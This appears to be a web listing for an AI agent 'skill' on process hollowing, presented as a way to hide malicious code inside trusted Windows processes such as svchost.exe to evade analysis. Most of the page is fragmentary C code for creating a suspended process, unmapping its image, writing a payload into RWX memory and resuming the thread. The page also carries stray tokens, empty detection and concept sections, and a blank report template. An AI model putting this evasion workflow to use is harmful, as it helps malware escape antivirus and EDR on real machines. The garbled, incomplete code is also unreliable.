Process hollowing

From ShulkwiSEC/bb-huge · View interactive version

Process hollowing is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Execute advanced evasion by injecting malicious code into the memory space of a legitimate, suspended process (Process Hollowing). This skill details techniques to bypass static and dynamic analysis by masking malicious activity behind trusted processes like svchost.exe or explorer.exe.

How to use this skill

Skill file

Process Hollowing

When to Use

Prerequisites

Workflow

Phase 1: Creation of a Suspended Legitimate Process

# Concept: Windows API STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);

// CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

Phase 2: Unmapping (Hollowing) the Original Code

# typedef NTSTATUS(WINAPI* _NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
_NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");

// NtUnmapViewOfSection(pi.hProcess, pBaseAddress); 

Phase 3: Allocating Memory and Writing Payload

# nimbly PVOID pNewBase = VirtualAllocEx(pi.hProcess, pBaseAddress, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// WriteProcessMemory(pi.hProcess, pNewBase, pPayload, dwSize, NULL);

Phase 4: Thread Resumption

# CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

// SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread); // ```

#### Decision Point 🔀

flowchart TD

A[Create Suspended ] --> B{Injection Successful ]}

B -->|Yes| C[Resume Thread ]

B -->|No| D[Check Antivirus ]

C --> E[Execution ]


## 🔵 Blue Team Detection & Defense
- **API Monitoring**: **Memory Scanning**: **EDR Heuristics**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format

Process Hollowing — Assessment Report

============================================================

Target: [Target identifier]

Assessor: [Operator name]

Date: [Assessment date]

Scope: [Authorized scope]

MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:

[Finding 1]: [Severity] — [Brief description]

[Finding 2]: [Severity] — [Brief description]

Detailed Results:

Phase 1: [Phase name]

Phase 2: [Phase name]

Risk Rating: [Critical/High/Medium/Low/Informational]

Recommendations:

1. [Immediate remediation step]

2. [Long-term hardening measure]

3. [Monitoring/detection improvement]

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.